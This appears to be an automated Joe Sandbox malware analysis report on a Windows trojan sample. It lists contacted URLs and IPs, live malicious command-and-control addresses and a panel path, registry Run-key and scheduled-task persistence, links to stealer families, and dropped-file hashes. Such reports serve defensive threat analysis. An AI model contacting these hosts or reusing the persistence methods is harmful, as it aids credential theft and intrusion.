https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1716565971.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604448142.0000000005A70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206u	num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/icrosoft	num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 0000001A.00000002.2749678005.00000295D4C03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1403293	firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/apis	bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/KC	num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tsn.ca	firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001A.00000002.2805617940.00000295E7E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2668629562.00000295E527C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2796456742.00000295E6E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2772290045.00000295E4C33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E483B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E740B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807593072.000002980003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E56AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2674527918.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2774239816.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773012638.00000295E4E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E74E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1B34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
172.217.16.206	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545823
Start date and time:	2024-10-31 05:05:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/22@78/11
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.160.212.113, 52.11.191.138, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target S39605Y99PQJP70DBWYAE5A.exe, PID 2208 because it is empty
Execution Graph export aborted for target bd73c9fe1b.exe, PID 1056 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6996 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:05:59	API Interceptor	49x Sleep call for process: file.exe modified
00:07:00	API Interceptor	102618x Sleep call for process: skotes.exe modified
00:07:14	API Interceptor	24x Sleep call for process: bd73c9fe1b.exe modified
00:07:39	API Interceptor	20x Sleep call for process: b28f5af0b9.exe modified
04:06:39	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
04:07:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
04:07:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe
04:07:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe
04:07:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002787001\num.exe
04:07:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bd73c9fe1b.exe C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
04:08:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b28f5af0b9.exe C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe
04:08:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f27afcd405.exe C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe
04:08:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002787001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	172.67.154.67
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CMI46CXL3718GGL9UBA.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SLPBKPVSB544AP3LMUB.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2928128
Entropy (8bit):	6.553758882360622
Encrypted:	false
SSDEEP:	49152:icHucNlyX0WUFJ1bNEiNGfji5pT3cYanXx:iioDoXxEiQfji5pT3c
MD5:	B780913DE1C9D2A04A8CB5CE458255CF
SHA1:	C9D6CB973EAFAC2763ED7CEFF65ECDA83729258E
SHA-256:	15952521FF76D233A2A4AB1700DC4A27933D34BCD59A3F9525497A6ACD768D1D
SHA-512:	F94A92275C043F88A91275DEFF099E7275FEF51CDF170CCEB9A735FFCAC2BC75750928D77235CDA85ADEBAC2718C97866DBB2CBB12E2F9C3545CD429E57E6014
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.......,...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...yswfrwhx..*.......).................@...eypvdvsa....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584673658927549
Encrypted:	false
